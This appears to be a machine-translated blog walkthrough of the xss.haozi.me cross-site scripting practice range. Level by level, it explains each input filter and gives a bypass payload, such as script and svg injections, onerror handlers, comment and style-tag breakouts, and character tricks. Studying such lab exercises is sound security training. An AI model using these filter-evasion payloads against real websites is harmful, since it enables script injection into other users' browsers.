当前位置:网站首页>XSS range (II) xss.haozi
XSS range (II) xss.haozi
2022-07-29 02:33:00 【The tree lost its way】
Target address :https://xss.haozi.me
0x00
Unprotected
<script>alert(1)</script>
0x01
stay <textarea> Label inside this label , All scripting languages are strings , Cannot be called to execute , Just close the label ;
</textarea><script>alert(1)</script>
0x02
closed " and < that will do
"><script>alert(1)</script>
aaa" onclick="alert(1) 
0x03
Regular expressions , take () Replace empty , use `` Instead, that is
<script>alert`1`</script>
0x04
Regular expressions , take () `` Replace empty ,HTML Entity encoding ()
<svg><script>alert(1)</script>
0x05
Here we replace with regular -->,html The annotators of are 2 Species writing :
<!-- Content of notes --> The other is <!-- Content of notes --!>
--!><script>alert(1)</script>
0x06
The canonical substitution here is auto and on.*= and > character , So I filtered js Of autofocus Events and on The first event ;
But there is no filter line feed , Sure utilize HTML Fault tolerance mechanism of , As long as the keywords and syntax are correct , Features unaffected by spaces and newlines
onclick
=alert(1)
onmousedown
=alert(1)
type=image src=1 onerror
=alert(1)
0x07
Regular <\/?[^>]+> This pile , With "<" start ">" The ending is interspersed with non ">" Case insensitive string of ,
in general , Just replace </ Any character > It's empty . use <svg Labels and THTML Fault tolerant mechanism does not write ">" that will do
<svg onload=alert(1)//
<svg onload=alert(1)\n
<img src=1 onerror="alert(1)"
0x08
Regular filtering </style>, Make it impossible to close ;
and 6 7 The questions are similar to , Or use HTML Fault tolerance for </style Followed by a space or enter
</style ><script>alert(1)</script>
</style
><script>alert(1)</script>
0x09
Use regular rules to specify that the input string must have https://www.segmentfault.com1;
Then write it later ," closed ></script> closed , And then note out ">
https://www.segmentfault.com1"></script><script>alert(1)//
0x0A
Similar to the previous question , Another one ' " < > / It's all filtered
Use in the middle of the website @ Symbol , Redirect to @ The following fields URL;( Google seems to have a protection mechanism , Try it on Firefox )
https://[email protected]/j.js
0x0B
Lose ⼊ All strings of are converted ⼤ Yes ;
html Case insensitive ,JS Case sensitive ;
use <svg οnlοad=alert(1)>, Yes 'alert' Entity encoding ;
<svg onload=alert(1)>
0x0C
It's similar to the last question , Just one more pair script The filter ;
If you use <script>, Double write ;
<svg onload=alert(1)>
<sscriptcript src=1 onerror=alert(1)></sscriptcript>
0x0D
Regular filtering < / " ' , Don't have to ;
Enter escape single line notes , Add the extra ‘)
Return here
alert(1)
-->
0x0E
The regular match here <a-zA-Z>, give back < Add... To the back _, And capitalize , This filters almost all tags ;
So we need to use a strange skill : There is such a character ſ , It will become S;
<ſcript src=1 onerror=alert(1)></script>
<ſvg onload=alert(1)>
0x0F
This is similar to question 10 , take & ' " <> / to HTML Entity code ;
But here's the thing , The character we entered is still in html in , Therefore, even if it is encoded, its function can be performed ;
Before and after closing (' ') Or note out that will do ;
');alert(1);('
0x10
Unprotected , to data Just a value ;
');alert(1);('
0x11
and 15 Same question , hold / ’ " ` < > \ And line breaks are escaped ;
Before and after closing (" ") that will do ;
stay JS Right in the code / The escape of is actually superfluous , In practical use ,/ Not a special symbol , No escape required , It can output directly
");alert(1);("
");alert(1);//
0x12
take " It's escaped ;
Why do I need double quotation marks , Directly close the front <script>, Then put the back ') Inject it out that will do ;
It's fine too take \ To escape , Let it fail , Then close ("
</script><script>alert(1)//
a\");alert(1);//
ok Get it done ! Personal habits are different , The answer is not unique , If there are different solutions , Welcome to share !
边栏推荐
- 工程经济学简答题
- 聊聊接口性能优化的11个小技巧
- HTTP断点续传以及缓存问题
- 详解异步任务:任务的状态及生命周期管理
- Object based real-time spatial audio rendering - Dev for dev column
- After 4 years of testing experience, I finally entered Alibaba. Two months later, I chose to resign naked
- [upload picture 2-cropable]
- 7/28 高斯消元解线性方程组+高斯消元解异或线性方程组 +求组合数ii
- Kbxxxxx is not necessarily a patch, but also a description of a solution to a problem
- 应用系统中的报表开发成本值多少?
猜你喜欢

What happens if you have to use ArrayList in multithreading?

When synchronized encounters this thing, there is a big hole, so be careful

PS + PL heterogeneous multicore case development manual for Ti C6000 tms320c6678 DSP + zynq-7045 (2)

Transform okhttp cache with retrofit

多边形点测试

当我看源码的时候,我在想什么?

响应式织梦模板化妆美妆类网站
[email protected] The localization rate reaches 100%"/>Quanzhi t3/a40i industrial core board, 4-core [email protected] The localization rate reaches 100%

当Synchronized遇到这玩意儿,有个大坑,要注意

高效使用浏览器的5个小技巧,第1个技巧最实用
随机推荐
主从复制及其原理
发布融资需求1.29亿元,大科城项目路演持续浇灌科创“好苗子”
线上3d数字展厅制作方案及优点
TCP重传机制有哪些?
[RT learning note 1] RT thread peripheral routine - control LED light flashing
结合Retrofit 改造OKHttp 缓存
Time pit in MySQL driver
DevOps 团队如何抵御 API 攻击?
C语言实现三子棋游戏
Practice and experience of security compliance in instant messaging scenarios
6年测试经验,教大家测试~如何把控项目
Prometheus + alertmanager message alert
Responsive dream weaving template makeup website
3种过期策略
On Multithreading
如何在多御安全浏览器中自定义新标签页?
Responsive Zhimeng template decoration design website
Kubesphere multi node installation
Even PostgreSQL problem: expected authentication request from server, but received V
QT qstackedwidget multi interface switching